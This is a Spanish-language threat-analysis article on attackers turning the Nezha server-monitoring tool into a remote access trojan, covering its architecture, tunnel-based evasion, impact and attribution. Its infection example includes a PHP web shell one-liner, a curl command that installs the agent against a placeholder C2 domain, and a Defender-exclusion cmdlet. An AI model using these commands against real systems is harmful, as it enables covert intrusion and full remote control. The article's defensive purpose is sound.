Nezha

Hackers están explotando Nezha, una popular herramienta de monitoreo de código abierto, para transformarla en un potente y sigiloso troyano de acceso remoto (RAT). Investigaciones de la firma de ciberseguridad Ontinue revelan que los atacantes están utilizando esta herramienta, originalmente diseñada para que los administradores supervisen la salud de sus servidores, para tomar el control total de sistemas a nivel global. La clave de su peligrosidad radica en su naturaleza legítima: al ser un software confiable y ampliamente utilizado por profesionales de TI, suele ser ignorado por los softwares de seguridad, llegando a mostrar cero detecciones en escáneres como VirusTotal, lo que le permite infiltrarse y pasar desapercibido con facilidad.

Lo que hace a Nezha particularmente atractivo para los ciberdelincuentes es que es una solución "completa y lista para usar". A diferencia de otras herramientas maliciosas que requieren complejas configuraciones, Nezha funciona inmediatamente después de su instalación, otorgando al atacante acceso de "nivel SYSTEM/root", el máximo nivel de permisos en un sistema. Con este poder, los hackers pueden gestionar archivos, ejecutar comandos e incluso abrir terminales web interactivas en tiempo real. Además, su amplio soporte multiplataforma le permite operar en sistemas Windows, Linux, macOS e incluso routers domésticos, permitiendo a los atacantes controlar cientos de dispositivos comprometidos desde un único panel de control.

La capacidad de Nezha para camuflarse no termina en su legítimo origen, sino que se extiende a su propia actividad en la red. La herramienta se comunica utilizando protocolos web estándar que imitan la telemetría de monitoreo normal, haciendo que su tráfico sea prácticamente indistinguible de las comunicaciones inocuas de la red. Este nivel de sigilo, sumado a su facilidad de uso y a los poderosos accesos que concede, representa una amenaza significativa. Los expertos instan a las organizaciones a adoptar un enfoque de "defensa en profundidad", que no se base en clasificar las herramientas como benignas o maliciosas, sino en analizar sus patrones de uso y contexto, considerando la presencia de Nezha como una señal de alarma si no ha sido oficialmente aprobada.

Funcionamiento

Arquitectura Cliente-Servidor y Componentes Fundamentales

Nezha está diseñado bajo una arquitectura cliente-sidor clara y eficiente, compuesta por dos elementos principales que se comunican para proporcionar sus capacidades de monitoreo y control :

1. Dashboard (Servidor Central): Es el núcleo del sistema, actuando como un concentrador de datos y una interfaz de gestión. El Dashboard se encarga de:
   • Recibir y procesar datos: Escucha las conexiones entrantes de los agentes, recopila las métricas de rendimiento y las almacena, por defecto, en una base de datos SQLite (aunque también es compatible con MySQL) .
   • Visualización y alertas: Proporciona una interfaz web donde los administradores pueden ver el estado de todos sus servidores en tiempo real, consultar el historial de métricas y configurar alertas basadas en umbrales (ej. CPU al 90%) que se envían por múltiples canales (como Telegram o correo electrónico) .
   • Gestión y orquestación: Permite la creación y programación de tareas para ejecutarse en los servidores monitorizados, así como el acceso a terminales interactivas (WebSSH) directamente desde el panel .
2. Agent (Cliente Ligero): Es un pequeño programa instalado en cada servidor que se desea monitorizar. Sus funciones principales incluyen :
   • Recolección de métricas: Recopila datos locales del sistema, como el uso de CPU, memoria, disco, tráfico de red y, opcionalmente, métricas de GPU.
   • Ejecución de tareas: Actúa como un ejecutor de comandos remotos, pudiendo llevar a cabo tareas programadas o iniciar sesiones de terminal interactivas.
   • Comunicación con el Dashboard: Establece una conexión persistente con el servidor central para enviar los datos recopilados y recibir instrucciones. Soporta una amplia gama de sistemas operativos, incluyendo Linux, Windows, macOS, OpenWRT y Synology DSM .

Protocolos de Comunicación y Transmisión de Datos

La comunicación en Nezha está optimizada para ser eficiente y, en configuraciones avanzadas, sigilosa. El protocolo fundamental es gRPC, que opera sobre HTTP/2 .

• Conexión base: Por defecto, los Agents se conectan al Dashboard utilizando WebSocket sobre HTTP/2 (habilitado por gRPC). Esto permite una transmisión de datos en tiempo real y bidireccional, esencial para funcionalidades como el WebSSH .
• Comunicación en entornos sigilosos (Argo Tunnel): Una de las variantes más avanzadas, detallada en el proyecto "Argo-Nezha-Service-Container", muestra cómo Nezha puede ser desplegado para evadir detecciones y restricciones de red . En esta modalidad:
  1. Túnel Argo (Cloudflare): El Dashboard se ejecuta en una red interna (sin puertos abiertos al público) y establece un túnel con la red de Cloudflare (Argo Tunnel). Esto significa que no hay necesidad de abrir puertos en el firewall, ya que la conexión es iniciada por el propio Dashboard hacia afuera.
  2. Proxy Inverso (gRPCWebProxy/Caddy/Nginx): Para manejar correctamente el tráfico gRPC, se coloca un proxy inverso (como gRPCWebProxy o Caddy) entre el Dashboard y el túnel Argo. Este proxy se encarga de la terminación TLS y de adaptar el tráfico, permitiendo que las conexiones gRPC de los Agents viajen a través del túnel HTTP/2 de Cloudflare .
  3. Cifrado TLS: Toda la comunicación a través del túnel Argo está cifrada con TLS, añadiendo una capa de seguridad y haciendo que el tráfico se asemeje a navegación web normal, un factor clave en su uso malicioso .

El siguiente diagrama, basado en las configuraciones de "Nezha over Argo Tunnel", ilustra este flujo de comunicación

Funcionamiento Interno y Acceso a Nivel de Sistema

El poder de Nezha, y también el riesgo que presenta al ser explotado, reside en los privilegios con los que opera y las capacidades que otorga a quien controla el Dashboard .

• Elevación de Privilegios Inherente: Para poder leer métricas del sistema (como el uso de CPU o la lista de procesos), el Agente de Nezha debe ejecutarse con privilegios elevados. En sistemas Windows, esto se traduce en ejecutarse como SYSTEM, la cuenta de mayor autoridad. En Linux, requiere acceso root . Esta necesidad técnica es la puerta de entrada para que un atacante obtenga control total sin necesidad de realizar una explotación adicional de privilegios.
• Capacidades de Control Total ("Full-featured out of the box"): Una vez que el Agente está activo y conectado a un Dashboard controlado por un atacante, este obtiene acceso de nivel SYSTEM/root sobre la máquina comprometida . Las acciones posibles incluyen :
  • Gestión de archivos: Subir, descargar, modificar o eliminar cualquier archivo en el sistema.
  • Ejecución remota de comandos: Ejecutar cualquier comando o script directamente en la máquina víctima.
  • Terminal interactiva (WebSSH): Iniciar una sesión de shell completa en tiempo real, permitiendo al atacante explorar y manipular el sistema como si estuviera sentado frente a él.

Ejemplo Técnico de una Infección (Contexto de Ataque)

En las campañas maliciosas documentadas, la cadena de funcionamiento es la siguiente :

1. Infección Inicial: El atacante compromete un servidor web, por ejemplo, explotando una mala configuración en phpMyAdmin y utilizando técnicas de "log poisoning" para dejar una web shell (como una simple línea de PHP con eval($_REQUEST[1])).
2. Despliegue del Agente: A través de la web shell o herramientas como AntSword, el atacante descarga y ejecuta el agente de Nezha (live.exe en Windows) junto con un archivo de configuración (config.yml) que apunta a su propio panel de comando y control (C2) .

# Ejemplo de comando de instalación de agente (legítimo pero apuntando a un C2)

curl -L https://raw.githubusercontent.com/naiba/nezha/master/script/install.sh -o nezha.sh && chmod +x nezha.sh && sudo ./nezha.sh install_agent <C2_DOMAIN> 443 <SECRET> --tls

1. Comunicación Sigilosa: El agente se conecta al dashboard del atacante, que podría estar alojado en servicios en la nube como Alibaba Cloud  o utilizando túneles Argo para enmascarar aún más el tráfico . Dado que el binario del agente es legítimo, suele tener 0 detecciones en VirusTotal, y su tráfico, al ser gRPC sobre TLS, se asemeja al tráfico web normal .
2. Control y Movimiento Lateral: Con el agente activo y con privilegios de SYSTEM/root, el atacante puede ahora usar el dashboard de Nezha para gestionar el servidor comprometido, desplegar cargas maliciosas adicionales (como Ghost RAT), desactivar defensas (ej. Add-MpPreference -ExclusionPath en Windows) y moverse lateralmente a otros sistemas de la red .

Impacto Operativo: La Puerta de Entrada a Compromisos Totales

El impacto más inmediato y grave del abuso de Nezha es el nivel de acceso que otorga a los atacantes. Al ser una herramienta de monitoreo legítima, su agente debe ejecutarse con privilegios elevados (SYSTEM en Windows, root en Linux) para poder recolectar métricas del sistema. Cuando un atacante despliega este agente, hereda automáticamente ese nivel de privilegio sin necesidad de realizar complejas técnicas de escalamiento .

Este acceso de máximo nivel convierte a Nezha en un habilitador de ataques en múltiples etapas. No es un fin en sí mismo, sino un vehículo para daños mayores. Una vez que el agente de Nezha está activo y comunicándose con el panel de control del atacante, se convierte en una plataforma de lanzamiento para:

• Desactivación de defensas: Los atacantes utilizan el acceso de sistema para ejecutar scripts (como PowerShell) que modifican configuraciones de seguridad, creando exclusiones en antivirus como Microsoft Defender para asegurar que el malware posterior no sea detectado .
• Entrega de cargas maliciosas secundarias: Nezha actúa como un dropper para implantar malware más dañino. En las campañas documentadas, se ha utilizado para desplegar Gh0st RAT, un troyano de acceso remoto clásico que permite el robo de información, la captura de pantalla y la vigilancia continua de la víctima .
• Control unificado de infraestructura: El panel centralizado de Nezha permite a los atacantes gestionar cientos de servidores comprometidos desde una sola interfaz, de la misma manera que un administrador legítimo gestionaría su flota de servidores, pero con fines maliciosos .

Impacto Estratégico: La Erosión de la Confianza en el Ecosistema Open Source

A un nivel más profundo, el abuso de Nezha representa una evolución en las tácticas de los atacantes que tiene consecuencias duraderas para la seguridad del software. Este caso es un ejemplo paradigmático de lo que los expertos denominan "living off the land" (vivir de la tierra) aplicado a herramientas de desarrollo, donde los atacantes utilizan herramientas legítimas y confiables para evadir defensas .

Las consecuencias estratégicas incluyen:

• Explotación de la cadena de suministro: Nezha, al ser un proyecto de código abierto con casi 10,000 estrellas en GitHub, goza de la confianza de la comunidad. Los atacantes no necesitan modificarlo; simplemente lo utilizan "tal cual" (out of the box) para fines maliciosos . Esto genera un problema de atribución y confianza: ¿cómo distinguir una instalación legítima de una maliciosa?
• Evasión de firmas de seguridad: Dado que los binarios de Nezha son idénticos al software legítimo, las soluciones antivirus tradicionales basadas en firmas no lo detectan. Los escáneres de VirusTotal han mostrado 0/72 detecciones para este software, lo que lo convierte en un arma invisible para la seguridad perimetral clásica .
• Reducción de la barrera técnica: Al ser una herramienta "full-featured out of the box", los atacantes no necesitan desarrollar código personalizado ni ensamblar complejas cadenas de herramientas. Esto democratiza el cibercrimen, permitiendo que actores con menos recursos técnicos ejecuten ataques altamente sofisticados .

Impacto Geopolítico y Alcance Global: Una Amenaza Sin Fronteras

Las campañas que abusan de Nezha tienen una dimensión geopolítica clara y un alcance verdaderamente global. Los investigadores han atribuido estas actividades a actores de amenaza vinculados a China, basándose en indicadores como el uso de scripts con mensajes en chino simplificado y la infraestructura de comando y control alojada en servicios en la nube como Alibaba Cloud en Japón .

El impacto a nivel de víctimas es extenso:

• Distribución geográfica: Las infecciones se han detectado en más de 100 máquinas víctimas, con una alta concentración en la región de Asia-Pacífico, específicamente en Taiwán, Japón, Corea del Sur y Hong Kong. Sin embargo, también se han observado casos en países tan diversos como Singapur, India, Reino Unido, Estados Unidos, Colombia, Argentina, Francia, Canadá y Australia .
• Sectores objetivo: Aunque los vectores iniciales apuntan a servidores web con aplicaciones vulnerables (como phpMyAdmin), el impacto se extiende a cualquier organización que dependa de estos servidores, incluyendo sectores legales, tecnológicos, de medios, manufactura y servicios financieros .
• Aumento de la actividad estatal: Este tipo de ataques se enmarca en un contexto más amplio donde la actividad de grupos patrocinados por estados ha aumentado drásticamente. Los informes de 2025 indican un incremento del 150% en la actividad patrocinada por China y hasta un 300% en ataques dirigidos contra sectores específicos .

Tabla Resumen del Impacto de Nezha

Dimensión del Impacto	Descripción Técnica	Consecuencia Principal
Operativo	Acceso SYSTEM/root, ejecución de scripts, desactivación de defensas (Antivirus)	Puerta de entrada para malware secundario (Gh0st RAT) y control total del sistema
Estratégico	Abuso de herramienta legítima (0/72 detecciones en VirusTotal), "Living off the Land"	Erosión de la confianza en el open source, evasión de defensas perimetrales
Geopolítico	Atribución a actores chinos, infraestructura en Asia, víctimas globales	Escalamiento de la ciberguerra, impacto en más de 20 países

Origen y motivación

El origen de Nezha es completamente legítimo: se trata de un proyecto de código abierto creado por la comunidad de desarrolladores, específicamente por el usuario "naiba", para ofrecer una solución eficiente y moderna de monitoreo de servidores, ganando popularidad en GitHub por su utilidad para administradores de sistemas. Sin embargo, su motivación para ser explotado maliciosamente reside en su propia arquitectura técnica: al requerir privilegios de máximo nivel (SYSTEM/root) para funcionar correctamente, operar con comunicaciones gRPC que se camuflan como tráfico web normal, y ofrecer un panel de control centralizado con capacidades completas de administración remota (ejecución de comandos, gestión de archivos y terminal interactiva), se convierte en una herramienta ideal para actores de amenaza que buscan un troyano de acceso remoto (RAT) sigiloso, funcional "out of the box" y capaz de evadir detecciones por firmas antivirus, permitiéndoles controlar infraestructuras enteras sin levantar sospechas.

• Relación de acciones para mitigar el riesgo de esta actividad maliciosa.